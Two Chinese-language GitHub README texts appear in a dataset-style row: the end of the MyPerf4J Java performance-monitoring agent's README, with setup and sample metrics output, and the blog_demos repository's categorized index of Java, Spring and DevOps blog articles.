[Thread](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-thread-metrics),[Memory](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-memory-metrics),[ByteBuff](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-bytebuff-metrics),[GC](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-gc-metrics),[Class](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-class-metrics),[Compilation](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-compilation-metrics),[FileDescriptor](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#jvm-filedescriptor-metrics)
![Markdown](https://github.com/LinShunKang/Objects/blob/master/images/JVM_Metrics_Dashboard_V2.png?raw=true)
> 想知道如何实现上述效果?请先按照[快速启动](https://github.com/LinShunKang/MyPerf4J#%E5%BF%AB%E9%80%9F%E5%90%AF%E5%8A%A8)的描述启动应用,再按照[这里](https://github.com/LinShunKang/MyPerf4J/wiki/InfluxDB_)的描述进行安装配置即可。
## 快速启动
MyPerf4J 采用 JavaAgent 配置方式,**透明化**接入应用,对应用代码完全**没有侵入**。
### 下载
* 下载并解压 [MyPerf4J-ASM.zip](https://github.com/LinShunKang/Objects/blob/master/zips/CN/MyPerf4J-ASM-3.4.0-SNAPSHOT.zip?raw=true)
* 阅读解压出的 `README` 文件
* 修改解压出的 `MyPerf4J.properties` 配置文件中 `app_name`、`metrics.log.xxx` 和 `filter.packages.include` 的配置值
> 查看[配置文件模板](https://github.com/LinShunKang/Objects/blob/master/jars/MyPerf4J-3.x.properties)。想了解更多的配置?请看[这里](https://github.com/LinShunKang/MyPerf4J/wiki/3.x-%E9%85%8D%E7%BD%AE)
### 配置
在 JVM 启动参数里加上以下两个参数
* -javaagent:/path/to/MyPerf4J-ASM.jar
* -DMyPerf4JPropFile=/path/to/MyPerf4J.properties
> 形如:java -javaagent:/path/to/MyPerf4J-ASM.jar -DMyPerf4JPropFile=/path/to/MyPerf4J.properties `-jar yourApp.jar`
>
> 注意:如果您使用 JDK9 及其之上的版本,请额外添加 `--add-opens java.base/java.lang=ALL-UNNAMED`
### 运行
启动应用,监控日志输出到 /path/to/log/method_metrics.log:
```
MyPerf4J Method Metrics [2020-01-01 12:49:57, 2020-01-01 12:49:58]
Method[6] Type Level TimePercent RPS Avg(ms) Min(ms) Max(ms) StdDev Count TP50 TP90 TP95 TP99 TP999 TP9999
DemoServiceImpl.getId2(long) General Service 322.50% 6524 0.49 0 1 0.50 6524 0 1 1 1 1 1
DemoServiceImpl.getId3(long) General Service 296.10% 4350 0.68 0 1 0.47 4350 1 1 1 1 1 1
DemoServiceImpl.getId4(long) General Service 164.60% 2176 0.76 0 1 0.43 2176 1 1 1 1 1 1
DemoServiceImpl.getId1(long) General Service 0.00% 8704 0.00 0 0 0.00 8704 0 0 0 0 0 0
DemoDAO.getId1(long) DynamicProxy DAO 0.00% 2176 0.00 0 0 0.00 2176 0 0 0 0 0 0
DemoDAO.getId2() DynamicProxy DAO 0.00% 2176 0.00 0 0 0.00 2176 0 0 0 0 0 0
```
### 卸载
在 JVM 启动参数中去掉以下两个参数,重启即可卸载此工具。
* -javaagent:/path/to/MyPerf4J-ASM.jar
* -DMyPerf4JPropFile=/path/to/MyPerf4J.properties
## 构建
您可以自行构建 MyPerf4J-ASM.jar
* git clone git@github.com:LinShunKang/MyPerf4J.git
* mvn clean package
> MyPerf4J-ASM-${MyPerf4J-version}.jar 在 MyPerf4J-ASM/target/ 目录下
## 问题
如果您有任何问题、疑问或者建议,您可以 [提交Issue](https://github.com/LinShunKang/MyPerf4J/issues/new/choose) 或者 [发送邮件](mailto:linshunkang.chn@gmail.com) :)
注意,为了保障大家的时间,请保证您已经**完整阅读过**以下内容:
* [提问模板](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8F%90%E9%97%AE%E6%A8%A1%E6%9D%BF)
* [快速启动](https://github.com/LinShunKang/MyPerf4J#%E5%BF%AB%E9%80%9F%E5%90%AF%E5%8A%A8)
* [中文文档](https://github.com/LinShunKang/MyPerf4J/wiki/Chinese-Doc)
* [常见问题](https://github.com/LinShunKang/MyPerf4J/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)
## 已知用户
如果您在使用 MyPerf4J,请告诉我,您的使用对我来说非常重要:[https://github.com/LinShunKang/MyPerf4J/issues/30](https://github.com/LinShunKang/MyPerf4J/issues/30)(按登记顺序排列)
<div align="center">
<img src="https://github.com/LinShunKang/Objects/blob/master/logos/Boss_300x300.png?raw=true" width="80" height="80"/>
<img src="https://github.com/LinShunKang/Objects/blob/master/logos/Lever.jpeg?raw=true" width="240" height="80"/>
<img src="https://github.com/LinShunKang/Objects/blob/master/logos/dianzhang_303x303.jpeg?raw=true" width="80" height="80"/>
</div>
## 鸣谢
感谢 JetBrains [OpenSourceSupport](https://www.jetbrains.com/community/opensource/#support) 所提供的支持 : )
<div align="center">
<img src="https://resources.jetbrains.com/storage/products/company/brand/logos/jb_beam.svg" width="200" height="200"/>
</div>
## 项目捐赠
如果 MyPerf4J 对您有帮助,可以使用微信扫描下面的赞赏码,请我喝杯咖啡 : )
<div align="center">
<img src="https://github.com/LinShunKang/Objects/blob/master/logos/WechatIMG16.jpeg?raw=true" width="200" height="200"/>
</div>
## 参考项目
MyPerf4J 是受以下项目启发而来:
* [Perf4J](https://github.com/perf4j/perf4j)
* [TProfiler](https://github.com/alibaba/TProfiler)
## 更多信息
想更深入的了解 MyPerf4J?请看 [https://github.com/LinShunKang/MyPerf4J/wiki/Chinese-Doc](https://github.com/LinShunKang/MyPerf4J/wiki/Chinese-Doc)。 | 0 |
zq2599/blog_demos | CSDN博客专家程序员欣宸的github,这里有六百多篇原创文章的详细分类和汇总,以及对应的源码,内容涉及Java、Docker、Kubernetes、DevOPS等方面 | 2017-04-09T04:51:56Z | null | # 关于作者
1. 微信公众号、头条号、CSDN账号都是<font color="blue">程序员欣宸</font>
2. 前腾讯、前阿里员工,从事Java后台工作;
3. 对Docker和Kubernetes充满热爱;
4. 所有文章均为作者原创;
# 关于这个代码仓库
1. CSDN博客地址:http://blog.csdn.net/boling_cavalry
2. 这个代码仓库里是博客中涉及的源码、文件等
3. 如果对您有帮助,请给个Star,谢谢您!
# 文章分类
总的来说分为以下几大类,若有您感兴趣的内容,我将不胜荣幸:
1. Java;
2. 后台中间件;
3. Docker;
4. Kubernetes;
5. 大数据;
6. 综合兴趣,例如LeetCode、树莓派、群晖系统等;
7. DevOps;
8. 常用工具和技巧;
9. 问题处理备忘;
# Java领域
## 云原生技术,Quarkus专辑
## quarkus长篇连载
### 综合实战
1. [《quarkus实战之一:准备工作》](https://xinchen.blog.csdn.net/article/details/122985638)
2. [《quarkus实战之二:应用的创建、构建、部署》](https://xinchen.blog.csdn.net/article/details/123036523)
3. [《quarkus实战之三:开发模式(Development mode)》](https://xinchen.blog.csdn.net/article/details/123196706)
4. [《quarkus实战之四:远程热部署》](https://xinchen.blog.csdn.net/article/details/123196853)
5. [《quarkus实战之五:细说maven插件》](https://xinchen.blog.csdn.net/article/details/123268091)
6. [《quarkus实战之六:配置》](https://xinchen.blog.csdn.net/article/details/123303111)
7. [《quarkus实战之七:使用配置》](https://xinchen.blog.csdn.net/article/details/123307704)
8. [《quarkus实战之八:profile》](https://xinchen.blog.csdn.net/article/details/123321509)
### 虚拟线程
1. [支持JDK19虚拟线程的web框架,之一:体验](https://blog.csdn.net/boling_cavalry/article/details/127354737)
2. [支持JDK19虚拟线程的web框架,之二:完整开发一个支持虚拟线程的quarkus应用](https://blog.csdn.net/boling_cavalry/article/details/127457880)
3. [支持JDK19虚拟线程的web框架,之三:观察运行中的虚拟线程](https://xinchen.blog.csdn.net/article/details/127472917)
4. [支持JDK19虚拟线程的web框架,之四:看源码,了解quarkus如何支持虚拟线程](https://xinchen.blog.csdn.net/article/details/127592248)
5. [支持JDK19虚拟线程的web框架,之五(终篇):兴风作浪的ThreadLocal](https://blog.csdn.net/boling_cavalry/article/details/127592728)
### 依赖注入
1. [《quarkus依赖注入之一:创建bean》](https://xinchen.blog.csdn.net/article/details/123752182)
2. [《quarkus依赖注入之二:bean的作用域》](https://xinchen.blog.csdn.net/article/details/123754648)
3. [《quarkus依赖注入之三:用注解选择注入bean》](https://xinchen.blog.csdn.net/article/details/123861906)
4. [《quarkus依赖注入之四:选择注入bean的高级手段》](https://xinchen.blog.csdn.net/article/details/123939148)
5. [《quarkus依赖注入之五:拦截器(Interceptor)》](https://xinchen.blog.csdn.net/article/details/124055982)
6. [《quarkus依赖注入之六:发布和消费事件》](https://xinchen.blog.csdn.net/article/details/124069627)
7. [《quarkus依赖注入之七:生命周期回调》](https://xinchen.blog.csdn.net/article/details/124114602)
8. [《quarkus依赖注入之八:装饰器(Decorator)》](https://xinchen.blog.csdn.net/article/details/124234802)
9. [《quarkus依赖注入之九:bean读写锁》](https://xinchen.blog.csdn.net/article/details/124336520)
10. [《quarkus依赖注入之十:学习和改变bean懒加载规则》](https://xinchen.blog.csdn.net/article/details/124524910)
11. [《quarkus依赖注入之十一:拦截器高级特性上篇(属性设置和重复使用)》](https://xinchen.blog.csdn.net/article/details/124540964)
12. [《quarkus依赖注入之十二:禁用类级别拦截器》](https://xinchen.blog.csdn.net/article/details/124581260)
13. [《quarkus依赖注入之十三:其他重要知识点大串讲(终篇)》](https://xinchen.blog.csdn.net/article/details/124644543)
### 数据库
1. [《quarkus数据库篇之一:比官方demo更简单的基础操作》](https://xinchen.blog.csdn.net/article/details/124766017)
2. [《quarkus数据库篇之二:无需数据库也能运行增删改查(dev模式)》](https://xinchen.blog.csdn.net/article/details/124860825)
3. [《quarkus数据库篇之三:单应用同时操作多个数据库》](https://xinchen.blog.csdn.net/article/details/124895407)
4. [《quarkus数据库篇之四:本地缓存》](https://xinchen.blog.csdn.net/article/details/124958726)
## 基础知识
1. [《CentOS7安装JDK8》](https://blog.csdn.net/boling_cavalry/article/details/79840049)
2. [《Ubuntu下安装OpenJDK10》](https://blog.csdn.net/boling_cavalry/article/details/83213608)
3. [《Ubuntu环境下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83240035)
4. [《体验RxJava和lambda》](https://blog.csdn.net/boling_cavalry/article/details/72858158)
5. [《实战限流(guava的RateLimiter)》](https://blog.csdn.net/boling_cavalry/article/details/75174486)
6. [《java.util.Optional学习笔记》](https://blog.csdn.net/boling_cavalry/article/details/77610629)
7. [《org.springframework.util.StopWatch:简洁的耗时统计小工具》](https://blog.csdn.net/boling_cavalry/article/details/78231032)
8. [《体验IntelliJ IDEA的远程开发(Remote Development)》](https://xinchen.blog.csdn.net/article/details/123598992)
9. [《20天等待,申请终于通过,安装和体验IntelliJ IDEA新UI预览版》](https://xinchen.blog.csdn.net/article/details/125401366)
10. [《浏览器上写代码,4核8G微软服务器免费用,Codespaces真香》](https://xinchen.blog.csdn.net/article/details/125014702)
11. [《Codespaces个性化后台服务器配置指南》](https://xinchen.blog.csdn.net/article/details/125110236)
12. [《桌面版vscode用免费的微软4核8G服务器做远程开发(编译运行都在云上,还能自由创建docker服务)》](https://xinchen.blog.csdn.net/article/details/125126658)
## 进阶实战
1. [《Java实战操作MongoDB集群(副本集)》](https://blog.csdn.net/boling_cavalry/article/details/78238163)
2. [《Docker下Java文件上传服务三部曲之一:准备环境》](https://blog.csdn.net/boling_cavalry/article/details/79361159)
3. [《Docker下Java文件上传服务三部曲之二:服务端开发》](https://blog.csdn.net/boling_cavalry/article/details/79367520)
4. [《Docker下Java文件上传服务三部曲之三:wireshark抓包分析》](https://blog.csdn.net/boling_cavalry/article/details/79380053)
5. [《实战Redis序列化性能测试(Kryo和字符串)》](https://blog.csdn.net/boling_cavalry/article/details/80719683)
6. [《JavaCPP快速入门(官方demo增强版)》](https://xinchen.blog.csdn.net/article/details/118636417)
## 畅游JVM世界
1. [《极简,利用Docker仅两行命令就能下载和编译OpenJDK11》](https://blog.csdn.net/boling_cavalry/article/details/83353102)
2. [《利用Docker极速下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83245148)
3. [《制作Docker镜像,用来下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83420005)
4. [《制作Docker镜像,用来编译OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/84890664)
5. [《Ubuntu环境编辑OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83303317)
6. [《openjdk镜像的tag说明》](https://blog.csdn.net/boling_cavalry/article/details/94320638)
7. [《ARM64架构下,OpenJDK的官方Docker镜像为何没有8版本?》](https://blog.csdn.net/boling_cavalry/article/details/101908575)
8. [《ARM架构下的Docker环境,OpenJDK官方没有8版本镜像,如何完美解决?》](https://blog.csdn.net/boling_cavalry/article/details/101855126)
9. [《极速体验编译openjdk8(docker环境)》](https://blog.csdn.net/boling_cavalry/article/details/77623193)
10. [《在docker上编译openjdk8》](https://blog.csdn.net/boling_cavalry/article/details/70243954)
11. [《修改,编译,GDB调试openjdk8源码(docker环境下)》](https://blog.csdn.net/boling_cavalry/article/details/70557537)
12. [《环境变量_JAVA_LAUNCHER_DEBUG,它能给你更多的jvm信息》](https://blog.csdn.net/boling_cavalry/article/details/70904278)
13. [《Java虚拟机学习:方法调用的字节码指令》](https://blog.csdn.net/boling_cavalry/article/details/76384425)
14. [《Java的wait()、notify()学习三部曲之一:JVM源码分析》](https://xinchen.blog.csdn.net/article/details/77793224)
15. [《Java的wait()、notify()学习三部曲之二:修改JVM源码看参数》](https://blog.csdn.net/boling_cavalry/article/details/77897108)
16. [《Java的wait()、notify()学习三部曲之三:修改JVM源码控制抢锁顺序》](https://blog.csdn.net/boling_cavalry/article/details/77995069)
## 玩转Maven
1. [《Ubuntu部署和体验Nexus3》](https://blog.csdn.net/boling_cavalry/article/details/104617262)
2. [《没有JDK和Maven,用Docker也能构建Maven工程》](https://blog.csdn.net/boling_cavalry/article/details/80384722)
3. [《maven构建docker镜像三部曲之一:准备环境》](https://blog.csdn.net/boling_cavalry/article/details/78869466)
4. [《maven构建docker镜像三部曲之二:编码和构建镜像》](https://blog.csdn.net/boling_cavalry/article/details/78872020)
5. [《maven构建docker镜像三部曲之三:推送到远程仓库(内网和阿里云)》](https://blog.csdn.net/boling_cavalry/article/details/78934391)
6. [《实战maven私有仓库三部曲之一:搭建和使用》](https://blog.csdn.net/boling_cavalry/article/details/79059021)
7. [《实战maven私有仓库三部曲之二:上传到私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79070744)
8. [《实战maven私有仓库三部曲之三:Docker下搭建maven私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79111740)
9. [《修改gradle脚本,加速spring4.1源码编译构建速度》](https://blog.csdn.net/boling_cavalry/article/details/80873343)
10. [《Docker与Jib(maven插件版)实战》](https://blog.csdn.net/boling_cavalry/article/details/94355659)
12. [《Jib使用小结(Maven插件版)》](https://blog.csdn.net/boling_cavalry/article/details/100179709)
13. [《Jib构建镜像问题从定位到深入分析》](https://blog.csdn.net/boling_cavalry/article/details/101606958)
14. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
15. [《kubernetes下jenkins实战maven项目编译构建》](https://blog.csdn.net/boling_cavalry/article/details/104875452)
16. [《Nexus3常用功能备忘》](https://xinchen.blog.csdn.net/article/details/105458882)
17. [《我把自己的java库发布到了maven中央仓库,从此可以像Jackson、Spring的jar一样使用它了》](https://xinchen.blog.csdn.net/article/details/121240721)
## 玩转Gradle
1. [Gradle构建多模块SpringBoot应用](https://xinchen.blog.csdn.net/article/details/115049633)
2. [《Gradle项目的jar发布到私有仓库》](https://xinchen.blog.csdn.net/article/details/115609899)
## Jackson学习特辑
1. [《jackson学习之一:基本信息》](https://blog.csdn.net/boling_cavalry/article/details/107135958)
2. [《jackson学习之二:jackson-core》](https://blog.csdn.net/boling_cavalry/article/details/108571629)
3. [《jackson学习之三:常用API操作》](https://blog.csdn.net/boling_cavalry/article/details/108192174)
4. [《jackson学习之四:WRAP_ROOT_VALUE(root对象)》](https://blog.csdn.net/boling_cavalry/article/details/108298858)
5. [《jackson学习之五:JsonInclude注解》](https://blog.csdn.net/boling_cavalry/article/details/108412558)
6. [《jackson学习之六:常用类注解》](https://blog.csdn.net/boling_cavalry/article/details/108333324)
7. [《jackson学习之七:常用Field注解》](https://blog.csdn.net/boling_cavalry/article/details/108427844)
8. [《jackson学习之八:常用方法注解》](https://blog.csdn.net/boling_cavalry/article/details/108433330)
9. [《jackson学习之九:springboot整合(配置文件)》](https://blog.csdn.net/boling_cavalry/article/details/108460433)
10. [《jackson学习之十(终篇):springboot整合(配置类)》](https://blog.csdn.net/boling_cavalry/article/details/108559056)
## JUnit5学习特辑
《JUnit5学习》系列旨在通过实战提升SpringBoot环境下的单元测试技能,一共八篇文章,链接如下:
1. [《JUnit5学习之一:基本操作》](https://blog.csdn.net/boling_cavalry/article/details/108810587)
2. [《JUnit5学习之二:Assumptions类》](https://blog.csdn.net/boling_cavalry/article/details/108861185)
3. [《JUnit5学习之三:Assertions类》](https://blog.csdn.net/boling_cavalry/article/details/108899437)
4. [《JUnit5学习之四:按条件执行》](https://blog.csdn.net/boling_cavalry/article/details/108909107)
5. [《JUnit5学习之五:标签(Tag)和自定义注解》](https://blog.csdn.net/boling_cavalry/article/details/108914091)
6. [《JUnit5学习之六:参数化测试(Parameterized Tests)基础》](https://blog.csdn.net/boling_cavalry/article/details/108930987)
7. [《JUnit5学习之七:参数化测试(Parameterized Tests)进阶》](https://blog.csdn.net/boling_cavalry/article/details/108942301)
8. [《JUnit5学习之八:综合进阶(终篇)》](https://blog.csdn.net/boling_cavalry/article/details/108952500)
## jetcd学习特辑
1. [jetcd实战之一:极速体验](https://xinchen.blog.csdn.net/article/details/115276045)
2. [jetcd实战之二:基本操作](https://xinchen.blog.csdn.net/article/details/115419439)
3. [jetcd实战之三:进阶操作(事务、监听、租约)](https://xinchen.blog.csdn.net/article/details/115434576)
## disruptor学习特辑
1. [快速入门](https://blog.csdn.net/boling_cavalry/article/details/117185656)
2. [Disruptor类分析](https://blog.csdn.net/boling_cavalry/article/details/117318462)
3. [环形队列的基础操作(不用Disruptor类)](https://blog.csdn.net/boling_cavalry/article/details/117386253)
4. [事件消费知识点小结](https://blog.csdn.net/boling_cavalry/article/details/117395009)
5. [事件消费实战](https://blog.csdn.net/boling_cavalry/article/details/117405835)
6. [常见场景](https://blog.csdn.net/boling_cavalry/article/details/117575447)
7. [等待策略](https://blog.csdn.net/boling_cavalry/article/details/117608051)
8. [知识点补充(终篇)](https://blog.csdn.net/boling_cavalry/article/details/117636483)
## MyBatis学习(初级版)
1. [《MyBatis初级实战之一:Spring Boot集成》](https://xinchen.blog.csdn.net/article/details/107805840)
2. [《MyBatis初级实战之二:增删改查》](https://xinchen.blog.csdn.net/article/details/107971293)
3. [《MyBatis初级实战之三:springboot集成druid》](https://xinchen.blog.csdn.net/article/details/108092045)
4. [《MyBatis初级实战之四:druid多数据源》](https://xinchen.blog.csdn.net/article/details/108179671)
5. [《MyBatis初级实战之五:一对一关联查询》](https://xinchen.blog.csdn.net/article/details/109020733)
6. [《MyBatis初级实战之六:一对多关联查询》](https://xinchen.blog.csdn.net/article/details/109193441)
## java版gRPC实战专辑
1. [用proto生成代码](https://xinchen.blog.csdn.net/article/details/115049443)
2. [服务发布和调用](https://xinchen.blog.csdn.net/article/details/115803738)
3. [服务端流](https://xinchen.blog.csdn.net/article/details/115983001)
4. [客户端流](https://xinchen.blog.csdn.net/article/details/116097756)
5. [双向流](https://xinchen.blog.csdn.net/article/details/116354293)
6. [客户端动态获取服务端地址](https://xinchen.blog.csdn.net/article/details/116479078)
7. [基于eureka的注册发现](https://xinchen.blog.csdn.net/article/details/116635441)
## Java扩展Nginx专辑
1. [《Java扩展Nginx之一:你好,nginx-clojure》](https://xinchen.blog.csdn.net/article/details/122764774)
2. [《Java扩展Nginx之二:编译nginx-clojure源码》](https://xinchen.blog.csdn.net/article/details/122773081)
3. [《Java扩展Nginx之三:基础配置项》](https://xinchen.blog.csdn.net/article/details/122779437)
4. [《Java扩展Nginx之四:远程调试》](https://xinchen.blog.csdn.net/article/details/122782310)
5. [《Java扩展Nginx之五:五大handler(系列最核心)》](https://xinchen.blog.csdn.net/article/details/122788726)
6. [《Java扩展Nginx之六:两大filter》](https://xinchen.blog.csdn.net/article/details/122825530)
7. [《Java扩展Nginx之七:共享内存》](https://xinchen.blog.csdn.net/article/details/123015410)
8. [《精选版:用Java扩展Nginx(nginx-clojure 入门)》](https://xinchen.blog.csdn.net/article/details/126456209)
## 视图邻域
1. [Java版流媒体编解码和图像处理(JavaCPP+FFmpeg)](https://xinchen.blog.csdn.net/article/details/119062543)
2. [《Ubuntu16桌面版编译和安装OpenCV4》](https://xinchen.blog.csdn.net/article/details/120964456)
3. [《Ubuntu16桌面版编译OpenCV4的java库和so库》](https://xinchen.blog.csdn.net/article/details/121069372)
# Spring领域
## Spring基础
1. [《实战spring自定义属性(schema):快速体验》](https://blog.csdn.net/boling_cavalry/article/details/74066494)
2. [《spring的BeanFactory和ApplicationContext》](https://blog.csdn.net/boling_cavalry/article/details/81603303)
3. [《ImportSelector与DeferredImportSelector的区别(spring4)》](https://blog.csdn.net/boling_cavalry/article/details/82555352)
4. [《实战spring自定义属性(schema)》](https://blog.csdn.net/boling_cavalry/article/details/101369202)
## Spring扩展实战专题
1. [《spring4.1.8扩展实战之一:自定义环境变量验证》](https://blog.csdn.net/boling_cavalry/article/details/81474340)
2. [《spring4.1.8扩展实战之二:Aware接口揭秘》](https://blog.csdn.net/boling_cavalry/article/details/81611426)
3. [《spring4.1.8扩展实战之三:广播与监听》](https://blog.csdn.net/boling_cavalry/article/details/81697314)
4. [《spring4.1.8扩展实战之四:感知spring容器变化(SmartLifecycle接口)》](https://blog.csdn.net/boling_cavalry/article/details/82051356)
5. [《spring4.1.8扩展实战之五:改变bean的定义(BeanFactoryPostProcessor接口)》](https://blog.csdn.net/boling_cavalry/article/details/82083889)
6. [《spring4.1.8扩展实战之六:注册bean到spring容器(BeanDefinitionRegistryPostProcessor接口)》](https://blog.csdn.net/boling_cavalry/article/details/82193692)
7. [《spring4.1.8扩展实战之七:控制bean(BeanPostProcessor接口)》](https://blog.csdn.net/boling_cavalry/article/details/82250986)
8. [《spring4.1.8扩展实战之八:Import注解》](https://blog.csdn.net/boling_cavalry/article/details/82530167)
## 畅游Spring源码世界
1. [《修改和编译spring源码,构建jar(spring-context-4.0.2.RELEASE)》](https://blog.csdn.net/boling_cavalry/article/details/73139161)
2. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之一:稳定重现问题》](https://blog.csdn.net/boling_cavalry/article/details/73071020)
3. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之二:定位错误》](https://blog.csdn.net/boling_cavalry/article/details/73442311)
4. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之三:改spring源码,取详细错误》](https://blog.csdn.net/boling_cavalry/article/details/73759475)
5. [《SpringMVC源码分析:POST请求中的文件处理》](https://blog.csdn.net/boling_cavalry/article/details/79375713)
6. [《下载Spring4.1.x源码并用IntelliJ IDEA打开》](https://blog.csdn.net/boling_cavalry/article/details/79426075)
7. [《windows下修改、编译、构建spring-framework4.1.8.RELEASE源码》](https://blog.csdn.net/boling_cavalry/article/details/80791786)
8. [《spring4.1.8初始化源码学习三部曲之一:AbstractApplicationContext构造方法》](https://blog.csdn.net/boling_cavalry/article/details/80957707)
9. [《spring4.1.8初始化源码学习三部曲之二:setConfigLocations方法》](https://blog.csdn.net/boling_cavalry/article/details/80958832)
10. [《spring4.1.8初始化源码学习三部曲之三:AbstractApplicationContext.refresh方法》](https://blog.csdn.net/boling_cavalry/article/details/81045637)
## SpringBoot基础
1. [《自定义spring boot starter三部曲之一:准备工作》](https://blog.csdn.net/boling_cavalry/article/details/82956512)
2. [《自定义spring boot starter三部曲之二:实战开发》](https://blog.csdn.net/boling_cavalry/article/details/83041472)
3. [《自定义spring boot starter三部曲之三:源码分析spring.factories加载过程》](https://blog.csdn.net/boling_cavalry/article/details/83048588)
4. [《基于spring boot框架访问zookeeper》](https://blog.csdn.net/boling_cavalry/article/details/69802622)
5. [《Docker下运行springboot》](https://blog.csdn.net/boling_cavalry/article/details/78991870)
6. [《springboot线程池的使用和扩展》](https://blog.csdn.net/boling_cavalry/article/details/79120268)
7. [《SpringBoot下用Kyro作为Redis序列化工具》](https://blog.csdn.net/boling_cavalry/article/details/80710774)
8. [《springboot应用查询城市天气》](https://blog.csdn.net/boling_cavalry/article/details/86770023)
9. [《立即可用的实战源码(springboot+redis+mybatis+restTemplate)》](https://blog.csdn.net/boling_cavalry/article/details/101999606)
10. [《SpringBoot-2.3镜像方案为什么要做多个layer》](https://blog.csdn.net/boling_cavalry/article/details/106600620)
11. [《体验SpringBoot(2.3)应用制作Docker镜像(官方方案)》](https://blog.csdn.net/boling_cavalry/article/details/106597358)
12. [《详解SpringBoot(2.3)应用制作Docker镜像(官方方案)》](https://blog.csdn.net/boling_cavalry/article/details/106598189)
13. [《掌握SpringBoot-2.3的容器探针:基础篇》](https://blog.csdn.net/boling_cavalry/article/details/106605264)
14. [《掌握SpringBoot-2.3的容器探针:深入篇》](https://blog.csdn.net/boling_cavalry/article/details/106606442)
15. [《掌握SpringBoot-2.3的容器探针:实战篇》](https://blog.csdn.net/boling_cavalry/article/details/106607225)
16. [《springboot的jar为何能独立运行》](https://blog.csdn.net/boling_cavalry/article/details/106966579)
17. [《SpringBoot(2.4)应用制作Docker镜像(Gradle版官方方案)》](https://xinchen.blog.csdn.net/article/details/115451129)
## SpringBoot进阶实战
1. [《Docker下redis与springboot三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78991422)
2. [《Docker下redis与springboot三部曲之二:安装redis主从和哨兵》](https://blog.csdn.net/boling_cavalry/article/details/78995407)
3. [《Docker下redis与springboot三部曲之三:springboot下访问redis哨兵》](https://blog.csdn.net/boling_cavalry/article/details/79041129)
4. [《SpringBoot应用使用自定义的ApplicationContext实现类》](https://blog.csdn.net/boling_cavalry/article/details/81587556)
5. [《Spring Boot应用在kubernetes的sidecar设计与实战》](https://blog.csdn.net/boling_cavalry/article/details/83784113)
6. [《Spring Native实战(畅快体验79毫秒启动springboot应用)》](https://blog.csdn.net/boling_cavalry/article/details/117153661)
7. [《三分钟体验:SpringBoot用深度学习模型识别数字》](https://blog.csdn.net/boling_cavalry/article/details/118290933)
8. [《SpringBoot用深度学习模型识别数字:开发详解》](https://blog.csdn.net/boling_cavalry/article/details/118353259)
## SpringCloud基础
1. [《极速体验SpringCloud Gateway》](https://blog.csdn.net/boling_cavalry/article/details/94907172)
2. [《应用升级SpringCloud版本时的注意事项(Dalston升级到Edgware)》](https://blog.csdn.net/boling_cavalry/article/details/82683755)
## SpringCloud实战
1. [《Docker下的Spring Cloud三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79177930)
2. [《Docker下的Spring Cloud三部曲之二:细说Spring Cloud开发》](https://blog.csdn.net/boling_cavalry/article/details/79134497)
3. [《Docker下的Spring Cloud三部曲之三:在线横向扩容》](https://blog.csdn.net/boling_cavalry/article/details/79192376)
4. [《本地服务调用K8S环境中的SpringCloud微服务实战》](https://blog.csdn.net/boling_cavalry/article/details/90578934)
## Eureka源码分析专题
1. [《Spring Cloud源码分析之Eureka篇第一章:准备工作》](https://blog.csdn.net/boling_cavalry/article/details/81809929)
2. [《Spring Cloud源码分析之Eureka篇第二章:注册中心启动类上的注解EnableEurekaServer》](https://blog.csdn.net/boling_cavalry/article/details/81809860)
3. [《Spring Cloud源码分析之Eureka篇第三章:EnableDiscoveryClient与EnableEurekaClient的区别(Edgware版本)》](https://blog.csdn.net/boling_cavalry/article/details/82668480)
4. [《Spring Cloud源码分析之Eureka篇第四章:服务注册是如何发起的》](https://blog.csdn.net/boling_cavalry/article/details/82721583)
5. [《Spring Cloud源码分析之Eureka篇第五章:更新服务列表》](https://blog.csdn.net/boling_cavalry/article/details/82813180)
6. [《Spring Cloud源码分析之Eureka篇第六章:服务注册》](https://blog.csdn.net/boling_cavalry/article/details/82861618)
7. [《Spring Cloud源码分析之Eureka篇第七章:续约》](https://blog.csdn.net/boling_cavalry/article/details/82915355)
8. [《Spring Cloud源码分析之Eureka篇第八章:服务注册名称的来历》](https://blog.csdn.net/boling_cavalry/article/details/82930728)
## Spring Cloud Gateway从入门到提高
1. [《Spring Cloud Gateway实战之一:初探》](https://xinchen.blog.csdn.net/article/details/119490780)
2. [《Spring Cloud Gateway实战之二:更多路由配置方式》](https://xinchen.blog.csdn.net/article/details/119592175)
3. [《Spring Cloud Gateway实战之三:动态路由》](https://xinchen.blog.csdn.net/article/details/119705402)
4. [《Spring Cloud Gateway实战之四:内置predicate小结》](https://xinchen.blog.csdn.net/article/details/119724550)
5. [《Spring Cloud Gateway实战之五:内置filter》](https://xinchen.blog.csdn.net/article/details/119814985)
6. [《Spring Cloud Gateway的断路器(CircuitBreaker)功能》](https://xinchen.blog.csdn.net/article/details/119849436)
7. [《Spring Cloud Gateway自定义过滤器实战(观测断路器状态变化)》](https://xinchen.blog.csdn.net/article/details/119967617)
8. [《Spring Cloud Gateway限流实战》](https://xinchen.blog.csdn.net/article/details/119989069)
9. [《Spring Cloud Gateway修改请求和响应body的内容》](https://xinchen.blog.csdn.net/article/details/120096926)
